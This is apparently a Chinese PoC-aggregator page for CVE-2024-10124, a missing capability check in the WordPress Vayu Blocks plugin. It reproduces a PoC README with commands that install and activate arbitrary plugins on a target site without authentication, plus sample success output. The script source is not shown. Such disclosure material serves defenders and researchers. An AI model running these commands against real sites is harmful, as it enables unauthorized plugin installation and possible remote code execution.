关联漏洞
标题:
WordPress plugin Vayu Blocks 访问控制错误漏洞
(CVE-2024-10124)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Vayu Blocks 1.1.1版本及之前版本存在访问控制错误漏洞,该漏洞源于缺少对 tp_install() 函数的功能检查。攻击者利用该漏洞可以远程执行代码。
介绍
# CVE-2024-10124-Poc
The Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation and activation due to a missing capability check on the tp_install() function in all versions up to, and including, 1.1.1. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated. This vulnerability was partially patched in version 1.1.1.
# Example Scenarios
### Check Vulnerability
```
python CVE-2024-10124.py -u http://192.168.100.74/wordpress --check-version
```
This will check the version of the vayu-blocks plugin to determine if the site is vulnerable.
### Install a Plugin (Default)
```
python CVE-2024-10124.py -u http://192.168.100.74/wordpress
```
This will install the default plugin hello-dolly
### Install a Specific Plugin
```
python CVE-2024-10124.py -u http://192.168.100.74/wordpress -p plugin_name
```
This will install the plugin_name plugin on the target site.
| 🔍 | **Command** | **Description** | **Example** |
|----|--------------------------|---------------------------------------------------|---------------------------------------|
| 🌐 | `-u` or `--url` | Specify the target URL for the WordPress site. | `-u http://192.168.100.74/wordpress` |
| 🔒 | `--check-version` | Check if the site is vulnerable based on version. | `-u http://192.168.100.74/wordpress --check-version` |
| ⚙️ | `-p` or `--plugin` | Specify the plugin name (default is hello-dolly). | `-u http://192.168.100.74/wordpress -p plugin_name` |
```
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://192.168.100.74/wordpress)
-p PLUGIN, --plugin PLUGIN
Plugin name (default: hello-dolly)
--check-version Check if the site is vulnerable based on plugin version
```
# Output
```
Response Status Code: 200
The plugin has been successfully uploaded and activated.
Response Content: "http:\/\/192.168.100.74\/wordpress"
```
# Note:
This script is provided for educational purposes only. The author is not responsible for any damages caused by the misuse of this script.
文件快照
[4.0K] /data/pocs/c82bf2af8b04ef7e11d85e06b49a5ed1ce969dc4
├── [3.5K] CVE-2024-10124.py
└── [2.4K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。